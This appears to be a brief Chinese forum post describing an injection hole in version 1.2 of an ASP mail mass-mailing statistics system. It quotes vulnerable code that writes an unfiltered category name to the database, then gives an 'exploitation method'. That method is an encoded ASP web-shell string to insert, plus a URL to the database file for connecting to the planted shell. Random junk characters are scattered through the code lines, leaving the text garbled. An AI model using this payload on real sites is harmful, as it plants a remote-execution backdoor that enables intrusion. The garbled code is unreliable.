铜板儿网邮件群发统计系统 v1.2 漏洞

admin

'Fenlei.asp

IF Request.QueryString("Action")="del" Then
ID=Request.QueryString("ID")
IF Countss ("tui","Fenlei",ID )<>0 then
4 P7 a* N: P$ [+ t* ]  K'略
0 a  S2 b& z' O5 a) O6 ?IF Request.QueryString("Action")="Add" Then
% l& i6 i  h: i* z4 I$ ZTname=Request.Form("Typename")
Set Rs=Server.CreateObject("adodb.Recordset")
Sql="Select * From Fenlei Order by id Desc "
. H2 s7 a; m' x! d4 A8 kRs.Open Sql,Conn,1,3
Rs.Addnew
Rs("Typename")=Tname
'略
Set Rs=Server.CreateObject("adodb.Recordset")
Sql="Select * From Fenlei Order by id Desc "
Rs.Open Sql,Conn,1,1
'略
* T" v+ }. P7 w%>
7 g& K6 q% m% h* Q/ r! g3 O

$ ]' K2 L+ ^2 |; j, w5 P
没有过滤，直接写入数据库。
, l0 r+ G, H5 h3 v
# ?8 \2 `% p% d' B2 C: ~3 }利用方法：
* X4 N% p: J& i9 i
插入：┼攠數畣整爠煥敵瑳∨≡┩>
2 O- X  A; N2 m0 a3 u& a- y! u0 T
+ D/ a' o: ^& W8 F, n; ?) H
6 q5 i" @: N: z3 s* |; K" [/ d连接： http://www.xxx.com/###tongbaner.asa
'默认安装文件：
'install.asp
) y* y6 a" L1 U& F4 S) M